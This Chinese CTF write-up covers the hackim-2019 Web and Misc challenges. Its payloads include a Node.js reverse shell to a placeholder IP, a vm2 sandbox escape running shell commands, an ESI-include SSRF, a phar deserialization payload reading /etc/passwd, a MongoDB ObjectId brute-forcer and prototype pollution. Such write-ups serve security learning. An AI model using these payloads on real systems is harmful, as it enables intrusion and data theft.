美文网首页
hackim-2019 WriteUp

hackim-2019 WriteUp

作者: Eumenides_62ac | 来源:发表于2019-06-30 11:47 被阅读0次

    题目链接

    Web

    escape


    可以看到是关于Node.JS沙箱逃逸的。
    可以先查看目标模块的信息:
    /run?js=Error().stack
    

    可以看出题目设置的模块vm2。所以可能下面这个反弹shell的模块不适用:
    (function () {
        var net = require("net"),
            cp = require("child_process"),
            sh = cp.spawn("/bin/sh", []);
        var client = new net.Socket();
        client.connect(your_port, "your_ip", function () {
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return /a/; // Prevents the Node.js application form crashing
    })();
    

    赛后看源码可以看出这里过滤了whilefor
    可以去看github上的vm2模块的issue,里面也有很多提交的escapeexp,找一个使用:

    var process;
    try{
    Object.defineProperty(Buffer.from(""),"",{
        value:new Proxy({},{
            getPrototypeOf(target){
                if(this.t)
                    throw Buffer.from;
                this.t=true;
                return Object.getPrototypeOf(target);
            }
        })
    });
    }catch(e){
        process = e.constructor("return process")();
    }
    process.mainModule.require("child_process").execSync("ls").toString()
    

    cat iamnotwhatyouthink就可以得到flag

    rvf

    进去是一个输入框


    有个admin界面。

    提交输入后url变成:
    /edge?title=123&description=%3Cimg+src%3D1+onerror%3Dalert%281%29%3E
    

    可以触发XSS
    尝试/edge?title=123&description[a]=1,可以看到触发了错误,得到一个esi.js的库。


    查看官方示例
    > ​ You want to embed the fragment of HTML from “[http://snipets.com/abc.html](http://snipets.com/abc.html)“ within an HTML document.
    > 
    > ```
    > blah blah, oh and here i embed in the page a snipet using an ESI server ...
    > <esi:include src="http://snipets.com/snipet.html"></esi:include>
    > 
    > ```
    > 
    > **snipet.html**
    > 
    > ```
    > <b>Snipet</b>
    > 
    > ```
    > 
    > With Node ESI script, you can pre-process ESI tags.
    

    可以推出这里应该需要SSRF。构造:

    /edge?title=123&description=<esi:include src="http://127.0.0.1:8080"></esi:include>
    

    成功返回了网页的内容。


    访问下admin界面就能得到flag
    http://192.168.241.137:8080/edge?title=123&description=<esi:include src="http://192.168.241.137:8080/admin"></esi:include>
    

    mime_checkr


    只允许上传jpeg文件格式。
    存在一个getmime.bak文件,内容为:
    <?php
    //error_reporting(-1);
    //ini_set('display_errors', 'On');
    
    class CurlClass{
        public function httpGet($url) {
        $ch = curl_init();  
     
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    //  curl_setopt($ch,CURLOPT_HEADER, false); 
     
        $output=curl_exec($ch);
     
        curl_close($ch);
        return $output;
     }
    }
    
    
    class MainClass {
    
        public function __destruct() {
            $this->why =new CurlClass;
            echo $this->url;
            echo $this->why->httpGet($this->url);
        }
    }
    
    
    // Check if image file is a actual image or fake image
    if(isset($_POST["submit"])) {
        $check = getimagesize($_POST['name']);
        if($check !== false) {
            echo "File is an image - " . $check["mime"] . ".";
            $uploadOk = 1;
        } else {
            echo "File is not an image.";
            $uploadOk = 0;
        }
    }
    ?>
    

    看到curl__destruct(),且不存在unserialize()方法,所以可以想到要利用phar来反序列化。
    这里要上传一个phar文件,然后通过phar://xx/xx来触发反序列化漏洞。
    先尝试file:///etc/passwd,新建文件1.jpeg,里面写入内容:

    <?php
    
    class CurlClass
    {
        public function httpGet($url)
        {
            $ch = curl_init();
    
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    //  curl_setopt($ch,CURLOPT_HEADER, false); 
    
            $output = curl_exec($ch);
    
            curl_close($ch);
            return $output;
        }
    }
    
    
    class MainClass
    {
    
        public function __destruct()
        {
            $this->why = new CurlClass;
            echo $this->url;
            echo $this->why->httpGet($this->url);
        }
    }
    
    $phar = new Phar("zedd.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new MainClass();
    $o->url = "file:///etc/passwd";
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test");  //添加要压缩的文件
        //签名自动计算
    $phar->stopBuffering();
    ?>
    

    然后进行上传,上传时候补齐图片头GIF89A。(看源码可以知道是补全图片头可以绕过getimagesize()函数)


    得到路径,尝试访问phar://uploads/ff7cdfd583.jpeg/test.txt
    成功获取file:///etc/passwd的内容。
    /etc/hosts的文件中可以看到:
    127.0.0.1   localhost
    ::1 localhost ip6-localhost ip6-loopback
    fe00::0 ip6-localnet
    ff00::0 ip6-mcastprefix
    ff02::1 ip6-allnodes
    ff02::2 ip6-allrouters
    172.19.0.3  24aa9f8f6376
    

    当访问172.18.0.2时,返回了:

    b'\xc8\x85\x93\x93\x96@a\x86\x85\xa3\x83\x88\xa1l\xad\xbd_|]M@@\x94\x85'
    

    这是用pythonebcdic生成的东西,使用脚本解密,用的编码是cp1047

    import ebcdic
    blob=b'xc8x85x93x93x96@ax86x85xa3x83x88xa1lxadxbd_|]M@@x94x85'
    print(blob.decode("cp1047"))
    

    得到Hello /fetch~%[]^@)( me
    再访问http://172.18.0.2/fetch~%25%5B%5D%5E%40)(得到同样的加密,再次使用脚本:

    import ebcdic
    blob=b'xc6x93x81x87xc0xd7xc8xd7mxe2xa3x99x85x81x94xa2mx81x99x85mxa3xf0xf0mxd4x81x89x95xe2xa3x99x85x81x94xf0xd0'
    print(blob.decode("cp1047"))
    

    得到flag

    credz


    网页源代码里有一句话:

    remember me all the time, credz is not what you need luke
    

    admin/admin就可以登录进去。提示:


    可以看到主页调用了一个叫做bjs_1的函数:

    有个/js/fps.jsbjs_1具体代码:
    function bjs_1(e) {
        var r = new fpbrowser_v1,
            t = new fpbrowser_v1({
                canvas: !0
            }),
            n = r.get(),
            o = t.get(),
            i = n + "" + o,
            a = getbrowser(),
            d = new XMLHttpRequest,
            s = "trackuser.php",
            w = "m=" + i;
        w += "&token=" + e, w += "&b=" + a, d.open("POST", s, !0), d.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), d.onreadystatechange = function() {
            if (4 == d.readyState && 200 == d.status) {
                d.responseText;
                "index.php" == e && (document.getElementById("loaderDiv").innerHTML = "")
            }
        }, d.send(w)
    }
    

    所以访问主页也能抓到请求了一个trackuser.php的包。


    bjs_1生成了两个fpbrowser_v1类,调用了其get函数的代码:
        Fingerprint.prototype = {
            get: function() {
                var keys = [];
                keys.push(navigator.userAgent);
                keys.push(navigator.language);
                keys.push(screen.colorDepth);
                if (this.screen_resolution) {
                    var resolution = this.getScreenResolution();
                    if (typeof resolution !== 'undefined') {
                        keys.push(resolution.join('x'))
                    }
                }
                keys.push(new Date().getTimezoneOffset());
                keys.push(this.hasSessionStorage());
                keys.push(this.hasLocalStorage());
                keys.push(!!window.indexedDB);
                if (document.body) {
                    keys.push(typeof(document.body.addBehavior))
                } else {
                    keys.push(typeof undefined)
                }
                keys.push(typeof(window.openDatabase));
                keys.push(navigator.cpuClass);
                keys.push(navigator.platform);
                keys.push(navigator.doNotTrack);
                keys.push(this.getPluginsString());
                if (this.canvas && this.isCanvasSupported()) {
                    keys.push(this.getCanvasFingerprint())
                }
                if (this.hasher) {
                    return this.hasher(keys.join('###'), 31)
                } else {
                    return this.fingerprint_js_browser(keys.join('###'), 31)
                }
    
    • navigator.language可以根据题目的描述Alice is a admin of abc company in india可以知道是Indian
    • navigator.userAgent可以根据hint知道是windows 10 chrome
    • getTimezoneOffset()India的时区。
    • getCanvasFingerprint()就是给出的图片:
    data:image/png;base64,...
    

    计算得到m的值为2656613544186699742
    发包得到对应的cookie


    再添加那个bf后请求login.php

    访问/fea24a3a981cb8aa898dfbf30ccb4196/得到:

    admin.php没权限访问,下载pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack,通过git tips来还原恢复:
    $ git init
    $ git unpack-objects < pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack
    $ git fsck
    $ git update-ref HEAD 29e3e14902aa1cc8caf8372c55e59f6720b5619b
    $ git checkout 29e3e14902aa1cc8caf8372c55e59f6720b5619b
    

    得到admin.php

    <?php
    
    if($_SESSION['go']){
    
    $sp_php=explode('/', $_SERVER['PHP_SELF']);
    $langfilename=$sp_php[count($sp_php)-1];
    
    $pageListArray = array('index.php' => "1");
    
    if($pageListArray [$langfilename]!=1){
            echo "not_authorized";
            Header("Location: index.php?not_authorized");
        
        }
    
    else{
        echo "hackim19{}";
    }
    }
    
    else{
    
        echo "you need to complete the first barrier";
    
    }
    ?>
    

    主要检查了index.php在不在里面,所以构造:admin.php/index.php

    proton

    访问提示:


    访问/getPost后提示:

    访问/getPOST?id=5c51b9c9144f813f31a4c0e2提示:

    输入单引号有报错信息:

    Hint有提示:
    * mango can be eaten in 60 seconds
    * Mongo Mongo Mongo !!! and this is not a sql Injection
    

    所以这里注入没用。
    因为这是Node.js的站,使用之前的办法引出报错信息:/getPost?id[]=1


    提示了后端数据库使用了MongodbMongodb中有一个叫做ObjectId的概念。
    ObjectId是一个12字节的BSON数据类型,结构为:
    • 前4个字节是自unix时代以来的秒数。
    • 接下来的3个字节是机器标识符。
    • 接下来的2个字节是进程ID。
    • 最后3个字节是计数器值。随机值。

    而给我们的id正好是12字节的。根据第一个提示时间差小于60s来尝试爆破:

    import requests
    
    url = 'http://localhost:4545/getPOST?id=%s144f813f31%s'  
    time = 0x5c51b9c9  
    counter = 0xa4c0e2
    
    for i in range(100):  
        counter = hex(counter - 1)[2:]
        for i in range(1000000):
            time = hex(time - 1)[2:] 
            nurl = url % (time, counter)
            res = requests.get(nurl)
            if 'Not found' not in res.text:
                print(res.text, nurl)
                time = int(time, 16)
                counter = int(counter, 16)
                break
            time = int(time, 16)
    

    id=5c51b911144f813f31a4c0df得到关键信息:


    访问/4f34685f64ec9b82ea014bda3274b0df/得到源码:
    'use strict';
    
    const express = require('express');
    const bodyParser = require('body-parser')
    const cookieParser = require('cookie-parser');
    const path = require('path');
    
    
    const isObject = obj => obj && obj.constructor && obj.constructor === Object;
    
    function merge(a,b){
     for (var attr in b){   
       if(isObject(a[attr]) && isObject(b[attr])){
          merge(a[attr],b[attr]);
       }
       else{
        a[attr] = b[attr];
     }
     }  
     return a 
    } 
    
    function clone(a){
      return merge({},a);
    }
    
    // Constants
    const PORT = 8080;
    const HOST = '0.0.0.0';
    const admin = {};
    
    // App
    const app = express();
    app.use(bodyParser.json())
    app.use(cookieParser());
    
    app.use('/', express.static(path.join(__dirname, 'views')))
    
    app.post('/signup', (req, res) => {
      var body = JSON.parse(JSON.stringify(req.body));
      var copybody = clone(body)
      if(copybody.name){
          res.cookie('name', copybody.name).json({"done":"cookie set"}); 
      }
      else{
        res.json({"error":"cookie not set"})
      }
    });
    
    app.get('/getFlag', (req, res) => {
    
    
         var аdmin=JSON.parse(JSON.stringify(req.cookies))
        
        if(admin.аdmin==1){
          res.send("hackim19{}");
        }
        else{
          res.send("You are not authorized"); 
        }
    
    
    });
    
    
    app.listen(PORT, HOST);
    console.log(`Running on http://${HOST}:${PORT}`);
    

    要满足admin.аdmin等于1。因为__proto__是一个Object,会递归进入merge(),由于__proto__有一对key-value,所以会判断__proto__["admin"]是否是Object,不是就进入else,对原型__proto__["admin"]赋值为1,这就完成了原型链污染的操作。
    最后访问/getFlag就能拿到flag

    hackim19{Prototype_for_the_win}
    
    function merge(a,b){
     for (var attr in b){   
       if(isObject(a[attr]) && isObject(b[attr])){
          merge(a[attr],b[attr]);
       }
       else{
        a[attr] = b[attr];
     }
     }  
     return a 
    } 
    

    Misc

    cat

    打开看到一堆猫猫的图片。


    这个实际上用到了unicat编程语言,可以把字符串转换成表情。
    可以通过这个项目里的cat.py来还原。
    尝试还原:
    $ python cat.py final
    [('inputst',1),('diepgrm',),('asgnlit', 1, 1),('asgnlit', 4, 1),('asgnlit', 10, 7),('echoval', 2),('pointer',4,4),('echoval',4),('applop+', 10, 1),('echoval',10),('asgnlit', 2, 72),('applop*', 2, 10),('echoval',2),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 65), ('echovar', 0),('asgnlit', 0, 119), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 115), ('echovar', 0),('asgnlit', 0, 48), ('echovar', 0),('asgnlit', 0, 109), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 95), ('echovar', 0),('asgnlit', 0, 67), ('echovar', 0),('asgnlit', 0, 64), ('echovar', 0),('asgnlit', 0, 84), ('echovar', 0)]
    

    这些得到的只是指令,要创建一个脚本来自动解码。这里面开头的inputst是等待输入,diepgrm是终止并退出,所以要把这两个删除,不然永远卡住跑不出结果。
    构造decode.py来解密:

    import sys,random
    
    ins=[('asgnlit', 1, 1),('asgnlit', 4, 1),('asgnlit', 10, 7),('echoval', 2),('pointer',4,4),('echoval',4),('applop+', 10, 1),('echoval',10),('asgnlit', 2, 72),('applop*', 2, 10),('echoval',2),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 65), ('echovar', 0),('asgnlit', 0, 119), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 115), ('echovar', 0),('asgnlit', 0, 48), ('echovar', 0),('asgnlit', 0, 109), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 95), ('echovar', 0),('asgnlit', 0, 67), ('echovar', 0),('asgnlit', 0, 64), ('echovar', 0),('asgnlit', 0, 84), ('echovar', 0)]
    mem= {}
    
    i = 0
    while i<37:
        mem[-1]=mem.get(-1,-1)+1
        try: it = ins[mem[-1]]
        except IndexError: it = ("asgnlit",-1,-1)
        if it[0] == "diepgrm":
            sys.exit()
        if it[0] == "pointer":
            mem[it[1]]=mem.get(mem.get(it[1],0),0)
        if it[0] == "randomb":
            mem[it[1]]=random.randint(True,False)
        if it[0] == "asgnlit":
            mem[it[1]]=it[2]
        if it[0] == "jumpif>" and mem.get(it[1],0) > 0:
            mem[-1]=it[2]
        if it[0] == "applop+":
            mem[it[1]]=mem.get(it[1],0)+mem.get(it[2],0)
        if it[0] == "applop-":
            mem[it[1]]=mem.get(it[1],0)-mem.get(it[2],0)
        if it[0] == "applop/":
            mem[it[1]]=mem.get(it[1],0)/mem.get(it[2],0)
        if it[0] == "applop*":
            mem[it[1]]=mem.get(it[1],0)*mem.get(it[2],0)
        if it[0] == "echovar":
            sys.stdout.write(unichr(mem.get(it[1],0)))
        if it[0] == "echoval":
            sys.stdout.write(str(mem.get(it[1],0)))
        if it[0] == "inputst":
            inp = sys.stdin.readline()
            for k in range(it[1],it[1]+len(inp)):
                mem[k]=ord(inp[k-it[1]])
            mem[k+1]=0
        i = i+1
    

    运行得到flag

    相关文章

      网友评论

          本文标题:hackim-2019 WriteUp

          本文链接:https://www.haomeiwen.com/subject/vqtecctx.html